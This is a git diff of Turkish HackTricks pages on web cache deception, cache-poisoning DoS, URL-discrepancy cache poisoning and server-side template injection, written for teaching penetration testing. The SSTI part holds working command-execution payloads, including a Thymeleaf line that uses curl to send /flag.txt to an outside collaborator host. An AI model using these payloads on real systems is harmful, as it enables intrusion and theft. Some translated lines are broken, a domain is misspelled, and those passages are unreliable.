### Geçersiz Başlık Alanları
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıkların, ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve `cache-control` başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin `\`, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.
### Yeni başlıklar bulma
### Yeni Başlıklar Bulma
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
## Önbellek Aldatmacası
Cache Deception'ın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalmış** olursunuz.
@ -219,19 +224,19 @@ Test edilecek diğer şeyler:
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Daha az bilinen uzantıları kullanın, örneğin_ `.avif`
* _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
Bu yazıda çok net bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine bir _.css_ dosyası için beklenen `text/css` mime türüne sahip olacaktır.
**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe** **alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine `text/css` mime türüne sahip olması beklenmektedir (bu, bir _.css_ dosyası için beklenendir).
[Cache Deceptions saldırılarını HTTP İstemci Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
[HTTP İstemci Kaçırma ile Cache Aldatmacası saldırıları nasıl gerçekleştirilir](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında burada bilgi edinin.
## Otomatik Araçlar
* [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache poisoningıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcısı.
* [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesiıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcı.
## Referanslar
@ -251,16 +256,16 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek hacking ipuçlarını paylaşın.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Cache Poisoning to DoS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -16,12 +16,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% hint style="danger" %}
Bu sayfada, **cache sunucuları için geçerli olan** isteklere **web sunucusunun hatalarla yanıt vermesini** sağlamaya yönelik farklı varyasyonlar bulabilirsiniz.
Bu sayfada, **önbellek sunucuları için geçerli olan** isteklere **web sunucusunun hatalarla yanıt vermesini** sağlamak için denemek üzere farklı varyasyonlar bulabilirsiniz.
{% endhint %}
* **HTTP Header Oversize (HHO)**
Web sunucusunun desteklediğinden daha büyük ama cache sunucusunun desteklediğinden daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:
Web sunucusunun desteklediğinden daha büyük ama önbellek sunucusunun desteklediğinden daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:
```
GET / HTTP/1.1
Host: redacted.com
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler**
Bazı **zararlı meta karakterler** içeren bir başlık gönderin, örneğin `\n` ve `\r`. Saldırının çalışması için önce önbelleği atlatmalısınız.
Zararlı **meta karakterler** içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği aşmalısınız.
```
GET / HTTP/1.1
Host: redacted.com
@ -77,7 +77,7 @@ Cache: miss
```
* **Uzun Yönlendirme DoS**
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaklar:
Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan, yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaklar:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -92,9 +92,9 @@ Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Host başlık durum normalizasyonu**
* **Host başlığı büyük/küçük harf normalizasyonu**
Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harf olmasını bekler ve eğer değilse bir hata döner:
Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -106,7 +106,7 @@ Not Found
```
* **Yol normalizasyonu**
Bazı sayfalar, yolda veri URLencode gönderildiğinde hata kodları döndürecektir, ancak önbellek sunucusu yolu URLdecode edecek ve URLdecoded yol için yanıtı depolayacaktır:
Bazı sayfalar, yolda veri URLencode gönderildiğinde hata kodları döndürecektir, ancak, önbellek sunucusu yolu URLdecode edecek ve yanıtı URLdecoded yol için saklayacaktır:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
@ -137,15 +137,15 @@ Cache: hit
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -0,0 +1,79 @@
# URL farklılıkları ile Cache Zehirleme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bu, **cache proxy'leri ve web sunucuları arasındaki farklılıklardan yararlanarak cache zehirleme saldırıları gerçekleştirmek için** önerilen tekniklerin bir özetidir [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all).
{% hint style="info" %}
Bu saldırının amacı, **cache sunucusunu statik bir kaynağın yüklendiğini düşündürmek** ve böylece onu önbelleğe alırken, cache sunucusunun önbellek anahtarı olarak yolun bir kısmını saklamasıdır; ancak web sunucusu başka bir yolu çözümleyerek yanıt verir. Web sunucusu, dinamik bir sayfa yükleyecek gerçek yolu çözecektir (bu, kullanıcı hakkında hassas bilgiler, XSS gibi kötü niyetli bir yük veya örneğin saldırganın web sitesinden bir JS dosyası yüklemek için yönlendirme içerebilir).
{% endhint %}
## Ayırıcılar
**URL ayırıcıları**, çerçeve ve sunucuya göre değişir ve isteklerin nasıl yönlendirildiğini ve yanıtların nasıl işlendiğini etkiler. Bazı yaygın köken ayırıcıları şunlardır:
* **Noktalı virgül**: Spring'de matris değişkenleri için kullanılır (örneğin, `/hello;var=a/world;var1=b;var2=c``/hello/world`).
* **Nokta**: Ruby on Rails'de yanıt formatını belirtir (örneğin, `/MyAccount.css``/MyAccount`).
* **Null Byte**: OpenLiteSpeed'de yolları keser (örneğin, `/MyAccount%00aaa``/MyAccount`).
* **Yeni satır baytı**: Nginx'de URL bileşenlerini ayırır (örneğin, `/users/MyAccount%0aaaa``/account/MyAccount`).
Bu süreçten sonra diğer özel ayırıcılar bulunabilir:
* **Adım 1**: Önbelleğe alınamayan istekleri tanımlayın ve bunları potansiyel ayırıcıların nasıl işlendiğini izlemek için kullanın.
* **Adım 2**: Yollara rastgele ekler ekleyin ve bir karakterin ayırıcı olarak işlev görüp görmediğini belirlemek için sunucunun yanıtını karşılaştırın.
* **Adım 3**: Yanıtın değişip değişmediğini görmek için rastgele ekin önüne potansiyel ayırıcılar ekleyin; bu, ayırıcı kullanımını gösterir.
## Normalizasyon & Kodlamalar
* **Amaç**: Hem cache hem de köken sunucularındaki URL ayrıştırıcıları, uç nokta eşlemesi ve önbellek anahtarları için yolları çıkarmak üzere URL'leri normalize eder.
* **Süreç**: Yol ayırıcılarını tanımlar, karakterleri çözerek ve nokta segmentlerini kaldırarak yolu çıkarır ve normalize eder.
### **Kodlamalar**
Farklı HTTP sunucuları ve proxy'leri, Nginx, Node ve CloudFront gibi, ayırıcıları farklı şekilde çözer, bu da CDNs ve köken sunucuları arasında tutarsızlıklara yol açar. Örneğin, web sunucusu bu dönüşümü gerçekleştirirse `/myAccount%3Fparam``/myAccount?param` ancak cache sunucusu anahtar olarak yolu `/myAccount%3Fparam` olarak saklarsa, bir tutarsızlık vardır.&#x20;
Bu tutarsızlıkları kontrol etmenin bir yolu, yolu herhangi bir kodlama olmadan yükledikten sonra farklı karakterleri URL kodlayarak istekler göndermek ve kodlanmış yol yanıtının önbellek yanıtından gelip gelmediğini kontrol etmektir.
### Nokta segmenti
Noktaların dahil olduğu yol normalizasyonu, cache zehirleme saldırıları için de oldukça ilginçtir. Örneğin, `/static/../home/index` veya `/aaa..\home/index`, bazı cache sunucuları bu yolları kendileri anahtar olarak önbelleğe alırken, diğerleri yolu çözebilir ve `/home/index`'i önbellek anahtarı olarak kullanabilir.\
Daha önce olduğu gibi, bu tür istekler göndermek ve yanıtın önbellekten toplanıp toplanmadığını kontrol etmek, `/home/index`'e verilen yanıtın, bu yollar istendiğinde gönderilen yanıt olup olmadığını belirlemeye yardımcı olur.
## Statik Kaynaklar
Birçok cache sunucusu, yanıtı statik olarak tanımlanırsa her zaman önbelleğe alır. Bu, şu nedenlerden olabilir:
* **Uzantı**: Cloudflare, aşağıdaki uzantılara sahip dosyaları her zaman önbelleğe alır: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
* Dinamik bir yanıtı önbelleğe almak için bir ayırıcı ve statik bir uzantı kullanarak zorlamak mümkündür; örneğin, `/home$image.png` isteği `/home$image.png`'i önbelleğe alacak ve köken sunucusu `/home` ile yanıt verecektir.
* **İyi bilinen statik dizinler**: Aşağıdaki dizinler statik dosyalar içerir ve bu nedenle yanıtları önbelleğe alınmalıdır: /static, /assets, /wp-content, /media, /templates, /public, /shared
* Bir ayırıcı, statik bir dizin ve noktalar kullanarak dinamik bir yanıtı önbelleğe almak mümkündür; örneğin, `/home/..%2fstatic/something` `/static/something`'i önbelleğe alacak ve yanıt `/home` olacaktır.
* **Statik dizinler + noktalar**: `/static/..%2Fhome` veya `/static/..%5Chome` isteği olduğu gibi önbelleğe alınabilir, ancak yanıt `/home` olabilir.
* **Statik dosyalar:** Bazı özel dosyalar her zaman önbelleğe alınır, örneğin `/robots.txt`, `/favicon.ico` ve `/index.html`. Bu, `/home/..%2Frobots.txt` gibi kötüye kullanılabilir; burada önbellek `/robots.txt`'i saklayabilir ve köken sunucusu `/home`'a yanıt verebilir.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,15 +1,15 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -25,7 +25,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak güvenlik açığına sahip bir kod parçasını gösteren bir örneği ele alalım:
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım:
```python
output = template.render(name=request.args.get('name'))
```
@ -81,7 +81,7 @@ en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunu
### Generic
Bu **wordlist** içinde aşağıda belirtilen bazı motorların ortamlarında **tanımlı değişkenler** bulabilirsiniz:
Bu **wordlist** içinde aşağıda belirtilen motorların bazı ortamlarında tanımlı **değişkenler** bulabilirsiniz:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -109,7 +109,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
Yüklemelerinizi [https://try.freemarker.apache.org](https://try.freemarker.apache.org) adresinde deneyebilirsiniz.
Payload'larınızı [https://try.freemarker.apache.org](https://try.freemarker.apache.org) adresinde deneyebilirsiniz.
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
@ -136,9 +136,7 @@ ${dwf.newInstance(ec,null)("id")}
**Daha fazla bilgi**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki FreeMarker bölümünde
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
@ -181,7 +179,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için `[[...]]` veya `[(...)]` gibi sözdizimi kullanarak desteklenir. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu da yaygın değildir.
@ -191,7 +189,7 @@ Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön i
```
**Thymeleaf'deki Zafiyet Örneği**
Aşağıdaki kod parçasını düşünün, bu istismaraık olabilir:
Aşağıdaki kod parçasını düşünün, bu istismar edilmeyeık olabilir:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -269,7 +267,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
* `{{ someString.toUPPERCASE() }}`
Pebble'ın eski versiyonu ( < versiyon 3.0.9):
Pebble'ın eski versiyonu ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
@ -282,6 +280,7 @@ Yeni Pebble sürümü:
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -299,7 +298,7 @@ Yeni Pebble sürümü:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
**Jinjava - Komut yürütme**
@ -385,10 +384,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
* **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
* **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileri ile bağlamayı kolaylaştırır.
* **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
**EL yorumlayıcılarının istismarını** öğrenmek için aşağıdaki sayfayı kontrol edin:
**EL yorumlayıcılarının** istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -491,7 +490,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
